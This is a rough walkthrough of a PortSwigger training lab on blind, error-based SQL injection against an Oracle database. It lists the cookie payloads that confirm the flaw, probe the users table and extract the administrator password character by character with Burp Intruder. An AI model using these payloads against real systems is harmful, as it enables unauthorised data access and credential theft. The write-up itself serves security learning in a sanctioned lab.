https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
Lab objective: Log in as the administrator user.
The database contains a different table called users, with columns called username and password.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.
Lab: Blind SQL injection with conditional errors
We know that This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
So we will try on tracking cookies
TrackingId=UyGtiFyqCFVHFTo1'it give use error andTrackingId=UyGtiFyqCFVHFTo1''and this can’t give error. so we can use that.TrackingId=UyGtiFyqCFVHFTo1' || (SELECT '')||'this query give us error and this query don’t give us errorTrackingId=UyGtiFyqCFVHFTo1' || (SELECT '' FROM dual)||'so we know that the database isoracle database- Now we will check there have any users table the query will
TrackingId=UyGtiFyqCFVHFTo1' || (SELECT '' FROM users WHERE ROWNUM=1)||' - This query is true so it will give use error (Status cod 500)
TrackingId=UyGtiFyqCFVHFTo1' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' - This query is false so it will give use no error (Status cod 200)
TrackingId=UyGtiFyqCFVHFTo1' || (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' - Now we will check there have any username call
administratorthe query willTrackingId=UyGtiFyqCFVHFTo1' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' - Now we will find the length of the password the query will
TrackingId=UyGtiFyqCFVHFTo1' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)=20)||'so the length of the password is 20 character. - Now we will send the the query to
intruder taband make cluster bomb attackTrackingId=UyGtiFyqCFVHFTo1' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,§1§,1)='§a§')||'this 2 will variable. we will use 1 to 20 for theSUBSTRINGand a to z and 0 to 9 for thea. - The password is
cyy5fa6r0wgr15b0b36l(password change every-time). - Now login. And solve the lab.